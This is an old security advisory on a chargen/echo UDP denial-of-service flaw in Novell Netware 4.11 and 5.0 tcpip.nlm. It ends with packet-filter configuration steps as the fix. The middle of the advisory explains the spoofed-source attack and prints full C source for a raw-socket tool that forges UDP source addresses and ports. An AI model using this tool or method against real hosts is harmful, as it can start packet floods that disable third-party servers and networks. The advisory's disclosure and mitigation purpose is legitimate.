COMMAND

    tcpip.nlm

SYSTEMS AFFECTED

    Netware 4.11, 5.0

PROBLEM

    Weed Whacker  found following.   Novell was  informed about  their
    tcpip.nlm being vulnerable to the  old chargen and echo denial  of
    service attack.  Weed tested  and confirmed that Netware 4.11  and
    5.0  running  tcpip.nlm  can  be  exploited,  unless the admin has
    implemented IP  packet filters  to prevent  servicing these  ports
    (chargen  and  echo  cannot  be  turned  off  - IP packets must be
    filtered).

    A description of the ancient exploit, along with the code is here:

	http://www.netcraft.com/presentations/interop/dos.html

    A stereotypical attack would involve  sending a udp packet to  the
    chargen port on a host with the packet's source port set to  echo,
    and the source address set to localhost, broadcast, or the address
    of another host on the internet known to offer udp echo. Other udp
    services such as daytime (port  13) and time (port 37)  might also
    be used as a basis for the attack.  A source address of  localhost
    or broadcast may be denied by filters set to deny packets claiming
    to originate from the local network.  However, a udp packet with a
    source address set to the address of another external host is much
    unlikely to  be filtered,  and would  be a  sensible choice for an
    attacker.

    Programs  to  forge  the  ip  address  of  a udp packet are freely
    available. An  example program  is provided  for demonstration and
    experimention within  the confines  of your  local network. Please
    note before compiling and running it that:

	- Your mileage  will vary depending  on your operating  system
	  and that of the target systems
	- It can cause the machine it is run from to wedge completely
	- If you  start an exchange  of udp packets  between two other
	  hosts, you may not be able to stop it, other than by turning
	  one of the hosts off

    Code:

    /************************************************************************/
    /* arnudp100.c - sends a single UDP datagram with the source and        */
    /* destination address and port set to whatever you want.               */
    /* Known to work on:  Linux pre2.0.7 (486),  SunOS 5.4 (SPARC) and      */
    /* FreeBSD 2.1.0 (486).                                                 */
    /* Old kernels such as SunOS 4.1 and Linux 1.2 will overwrite the       */
    /* source address with the real address of the interface.               */
    /* Should compile fine with just an ANSI compiler (such as gcc) under   */
    /* Linux and SunOS 4.1, but with SunOS 5.4 you may have to specify      */
    /* extra libraries on the command line:                                 */
    /*      /usr/ucb/cc -o arnudp arnudp100.c -lsocket -lnsl                */
    /* I'll state the obvious - this needs to be run as root!  Do not use   */
    /* this program unless you know what you are doing, as it is possible   */
    /* that you could confuse parts of your network / internet.             */
    /* Written by R.T.Arnold (arny@geek.org.uk) for Netcraft Ltd.           */
    /* (c) copyright 1996 R.T. Arnold.  This is not free software.          */
    /************************************************************************/

    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <netdb.h>
    #include <errno.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>

    #ifndef INADDR_NONE
    #define INADDR_NONE     0xffffffff
    #endif

    u_long getip(char*);
    u_short getportudp(char*);

    u_long cptol(u_char*);
    u_char *stocp(u_char*,u_short);
    u_char *ltocp(u_char*,u_long);

    union shortunion { u_short s; u_char c[2]; };
    union longunion { u_long l; u_char c[4]; };

    struct sockaddr sa;

    main(int argc,char **argv)
    {
    int fd;
    int x=1;
    u_long host;
    u_short service;
    struct sockaddr_in *p;
    u_char gram[]=
	    {
	    0x45,   0x00,   0,      0,
	    0x00,   0x00,   0x00,   0x00,
	    0xFF,   0x11,   0x00,   0x00,
	    0,      0,      0,      0,
	    0,      0,      0,      0,

	    0,      0,      0,      0,
	    0x00,   0x12,   0x00,   0x00,

	    '1','2','3','4','5','6','7','8','9','0'
	    };

    /* sanity check... */
    if((sizeof(u_char)!=1)||(sizeof(u_short)!=2)||(sizeof(u_long)!=4))
	    {
	    fprintf(stderr,"error: integer types aren't the right size.\n");
	    exit(1);
	    };

    /* it does seem odd that the total length needs to be in host byte order */
    stocp(gram+2,(u_short)sizeof(gram));

    if(argc!=5)
	    {
	    fprintf(stderr,"usage: %s sourcename sourceport destinationname destinationport\n",*argv);
	    exit(1);
	    };

    /* fill in source/destination addresses/ports and the socket address...*/
    if(strcmp(argv[1],"255.255.255.255")==0) host=0xffffffff; else if((host=getip(argv[1]))==INADDR_NONE) exit(1);
    ltocp(gram+12,host);
    if(strcmp(argv[3],"255.255.255.255")==0) host=0xffffffff; else if((host=getip(argv[3]))==INADDR_NONE) exit(1);
    ltocp(gram+16,host);
    p=(struct sockaddr_in*)&sa;
    p->sin_family=AF_INET;
    p->sin_addr.s_addr=host;
    if(strcmp(argv[2],"0")==0) service=0; else if((service=getportudp(argv[2]))==0) exit(1);
    stocp(gram+20,service);
    if(strcmp(argv[4],"0")==0) service=0; else if((service=getportudp(argv[4]))==0) exit(1);
    stocp(gram+22,service);

    if((fd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))== -1)
	    {
	    perror("socket");
	    exit(1);
	    };

    #ifdef IP_HDRINCL
    if (setsockopt(fd,IPPROTO_IP,IP_HDRINCL,(char*)&x,sizeof(x))<0)
	    {
	    perror("setsockopt IP_HDRINCL");
	    exit(1);
	    };
    #else
    fprintf(stderr,"the IP_HDRINCL option didn't exist on the system this was compliled on.\n");
    #endif

    if((sendto(fd,&gram,sizeof(gram),0,&sa,sizeof(sa)))== -1)
	    {
	    perror("sendto");
	    exit(1);
	    };

    printf("datagram passed to kernel:");
    for(x=0;x<(sizeof(gram)/sizeof(u_char));x++)
	    {
	    if(!(x%4)) putchar('\n');
	    printf("%02x",gram[x]);
	    };
    putchar('\n');
    return(0);
    }

    /* returns IP address (as a u_long) given a hostname string             */

    u_long getip(char *hostname)
    {
    u_long ip;
    struct hostent *he;
    if((ip=inet_addr(hostname))==INADDR_NONE)
	    {
	    if((he=gethostbyname(hostname))==NULL)
		    {
		    fprintf(stderr,"error: can't resolve hostname \"%s\"\n",hostname);
		    return(INADDR_NONE);
		    };
	    if(he->h_addrtype!=AF_INET) fprintf(stderr,"warning: resolved address type is not AF_INET, will try to carry on anyway.\n");
	    if(he->h_length!=4) fprintf(stderr,"warning: resolved address length is not 4, will try to carry on anyway.\n");
	    ip=cptol((u_char*)*(he->h_addr_list));
	    };
    return(ip);
    }

    /* returns port given a UDP service name or port number                 */

    u_short getportudp(char *service)
    {
    u_short port;
    struct servent *se;
    if((port=atoi(service))!=0) return(htons(port));
    if((se=getservbyname(service,"udp"))==NULL)
	    {
	    fprintf(stderr,"error: unknown service \"%s\"\n",service);
	    return(0);
	    };
    return(se->s_port);
    }

    /* the following functions convert between types, hopefully in a way thats portable */

    u_long cptol(u_char *cp)
    {
    static union longunion l;
    l.c[0]=cp[0];
    l.c[1]=cp[1];
    l.c[2]=cp[2];
    l.c[3]=cp[3];
    return(l.l);
    }

    u_char *stocp(u_char *cp,u_short us)
    {
    static union shortunion s;
    s.s=us;
    cp[0]=s.c[0];
    cp[1]=s.c[1];
    return(cp);
    }

    u_char *ltocp(u_char *cp,u_long ul)
    {
    static union longunion l;
    l.l=ul;
    cp[0]=l.c[0];
    cp[1]=l.c[1];
    cp[2]=l.c[2];
    cp[3]=l.c[3];
    return(cp);
    }

SOLUTION

    A  Netware  admin  can  implement  IP  packet  filters (directions
    courtesy a first-rate netware admin):

	load inetcfg
	select protocols
	select tcp/ip
	enable filtering support
	exit (and save, of course)

	load filtcfg
	select tcp/ip
	select packet forwarding filters
	enable it
	press enter on filters
	use insert to install each filter (chargen and echo, udp and tcp)

    exit to the console prompt and type

	reinitialize system